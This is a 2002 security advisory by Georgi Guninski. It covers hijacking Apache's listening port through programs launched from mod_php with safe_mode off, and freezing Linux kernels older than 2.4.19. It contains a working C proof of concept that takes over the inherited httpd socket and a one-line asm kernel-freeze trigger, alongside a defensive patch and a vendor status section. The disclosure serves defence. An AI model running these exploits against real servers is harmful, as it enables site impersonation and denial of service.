Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Misc
Other
Links
Services
In the news
Contact
guninski@guninski.com |
Georgi Guninski security advisory #58, 2002
Fun with mod_php/Apache 1.3, yet Apache much better than II$
Systems affected:
Apache 1.3/mod_php (safe_mode off)
linux kernel < 2.4.19 (different issue)
Risk: Very Low
Date: 6 November 2002
Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies
to
so called "vulnerabilities databases".
If you want to link to this content use the URL:
http://www.guninski.com/php1.html
Anything in this document may change without notice.
Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or
functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.
Description:
I. If a user can execute external programs from mod_php/Apache 1.3 and
safe_mode is off, then he can take over the httpd port in at least 50%
of the cases. This may lead to emulating the whole apache server
- to a
visitor the whole apache server seems under the attacker's control.
Won't be suprised if A$P is also affected from similar attack - check
handles to device\*.
II. It is possible to lock linux kernel < 2.4.19 with the help of
lcall7
and the TF. Note: While I discovered this independently, credit for this
should go to someone else - check
http://www.thefreeworld.net/non-US/
kernel-2.4.19-sec
Details:
I. When mod_php launches an external application, it inherits the open
listening httpd socket. With the help of fork(), dup() close() and
accept(),
external application may turn itself into listening httpd server. Check
[1]
for a demo. The C proggie must be called from mod_php.
This may have impact on providers hosting mod_php or in
combination with a bug which executes php code.
II. The following asm freezes kernel < 2.4.19
#define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall
$7,$0"
Workaround/Solution:
I. turn "safe_mode" in php.ini to "on" or try the following unofficial
patch,
which works for me, but comes with no warranty - it makes the listening
socket "close on exec" in apache:
----------------------------------------
The following patch works for me on linux (for apache
1.3.26/Linux):
*** src/main/http_main.c.old Sun Oct 20 14:13:47 2002
--- src/main/http_main.c Sun
Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
GETPRIVMODE();
#endif
+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK,
APLOG_CRIT,
server_conf, "make_sock: could not do F_SETFD");
if (bind(s, (struct sockaddr *)
server, sizeof(struct sockaddr_in)) == -1) {
ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
"make_sock: could not bind to %s", addr);
+ // by georgi
+
#ifdef MPE
if
(ntohs(server->sin_port) < 1024)
GETUSERMODE();
------------------------------------
II. linux kernel 2.4.19 is not vulnerable, update to it.
Vendor status:
I. Apache and php were notified on Tue, 15 Oct 2002 18:16:40 +0300
The Apache guys seem to prepare a fix. The php guys replied this is
known
for ages but did not provide reference for the claims.
II. This is fixed in 2.4.19 and credit should go to someone else.
References
[1]
----tcp4.c----
/* TCP Example code by Kien Pham (Heavily documented
to help others understand.)
This code is now in Public Domain.
Look ma, I did this all by myself.
*/
/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/
#include<sys/socket.h> // Include these for
socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h> // Include
this for getprotobyname()
#include<string.h> // Include this for memset()
#include<netinet/in.h> // Include this for
htonl(), htons(), etc.
#include<unistd.h>
#define PORT 2000
#define THEFD 16
#define INSIZE 20000
void servermsux()
{
// Variables for the server component of the
application.
int file_descriptor; // File
descriptor that represents the server socket.
struct
sockaddr_in server_address; //
Really only contains the port we want to listen on.
int
inbound_connection; // File descriptor that
represents the socket of the inbound connection.
struct
sockaddr_in inbound_address; //
Address of the inbound connection.
int
inbound_address_size; // Size of the structure for
the inbound connection.
unsigned
char *address_holder; // Pointer to
simplify the extraction of IP addresses.
char message[]="HTTP/1.1 200
OK\nContent-Type: text/html\n\n"
"<h1>Hi<br>MSUX</h1>"; // Constant
string to send to the client.
char
buffer[INSIZE]; // Buffer to hold
incoming data from the client.
// Code for the server component begins here.
file_descriptor=dup(THEFD);
if
(file_descriptor<0) // Check to see if there was a
failure in allocation.
{
perror("Server: socket()");
return;
}
if (close(THEFD) == -1) {perror("close");return; };
close(1);close(3);
while(42)
{
memset((void*)&inbound_address, 0,
sizeof(inbound_address));
inbound_address.sin_family=AF_INET;
inbound_address_size=sizeof(inbound_address);
// Make sure you do this, or the inbound_address will not be filled
with information about the incomming address.
inbound_connection=accept(file_descriptor,
(struct sockaddr*)&inbound_address,
&inbound_address_size); // Grab the first socket
that represents the client that has connected. If none yet, block and
wait till somebody does.
if (inbound_connection<0)
{
perror("2 accept()");
return;
}
address_holder=(unsigned
char*)&inbound_address.sin_addr.s_addr; // Save ourselves a call to
the OS to convert.
if (read(inbound_connection,
buffer, INSIZE)<0) // Read from the client.
{
perror("2 Server: read()");
return;
}
if
(write(inbound_connection, message,
sizeof(message))<0) // Write the message to the
client.
{
perror("2 Server: write()");
return;
}
close(inbound_connection);
// Tell the OS to clean up and free resources that we have used.
} //while
close(file_descriptor);
}
int main(void)
{
printf("\n2 TCP Networking Injection
Example\n");
// printf("Written by Kien Pham\n");
// printf("For the Networking mini-Tutorial
(http://www.tripod.com/~Xengren)\n");
if
(!fork())
servermsux();
}
----end-------
Regards,
Georgi Guninski
http://www.guninski.com
|